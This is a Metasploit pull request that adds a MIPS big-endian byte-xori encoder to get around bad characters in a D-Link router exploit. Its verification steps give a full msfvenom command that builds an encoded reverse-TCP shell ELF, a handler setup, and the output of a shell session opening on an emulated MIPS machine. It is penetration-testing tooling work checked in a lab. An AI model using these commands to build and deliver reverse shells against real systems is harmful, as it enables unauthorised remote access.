rapid7/metasploit-framework — pull request #2600 by jvazquez-r7 (2013-11-02 15:20:10+00:00)
Title: Add byte xori mipsbe encoder

Module heavily based on the current longxor encoder for mips.

The current encoder didn't work with dlink_dir605l_captcha_bof exploit because of 0x26 ("&") being a badchar. Since 0x26 is the mips xor opcode the current encoder can't be improved in this case. So adding a new encoder based on the "xori" instruction (1 byte encoding by pass).

Verification:

- [ ] Create an elf with a mipsbe payload, using the new encoder. The same badchars than dlink_dir605l_captcha_bof can be used:

```
$ ./msfvenom -p linux/mipsbe/shell_reverse_tcp -e mipsbe/byte_xori -b '\x00\x67\x26\x2b' -f elf -a mipsbe --platform linux LHOST=192.168.0.3 > /tmp/shell.elf
[*] mipsbe/byte_xori succeeded with size 272 (iteration=1)
```

- [ ] Start a exploit/multi/handler for the payload

```
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/mipsbe/shell_reverse_tcp
payload => linux/mipsbe/shell_reverse_tcp
msf exploit(handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 0.0.0.0:4444
[*] Starting the payload handler...
```

- [ ] Upload the elf to a MIPSBE machine. I've used a debian 6 mipsbe emulated with qemu-system, provide + x and execute

```
^Cjuan@mipsdebian:~$ uname -a
Linux mipsdebian 2.6.32-5-4kc-malta #1 Sat Feb 16 12:43:42 UTC 2013 mips GNU/Linux
juan@mipsdebian:~$ chmod +x shell.elf
juan@mipsdebian:~$ file shell.elf
shell.elf: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, corrupted section header size
.juan@mipsdebian:~$ ./shell.elf
```

- [ ] Check you're getting a session on the handler

```
[*] Command shell session 4 opened (192.168.0.3:4444 -> 192.168.0.3:51277) at 2013-11-02 10:13:01 -0500

id
uid=1000(juan) gid=1000(juan) groups=1000(juan),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
uname -a
Linux mipsdebian 2.6.32-5-4kc-malta #1 Sat Feb 16 12:43:42 UTC 2013 mips GNU/Linux

```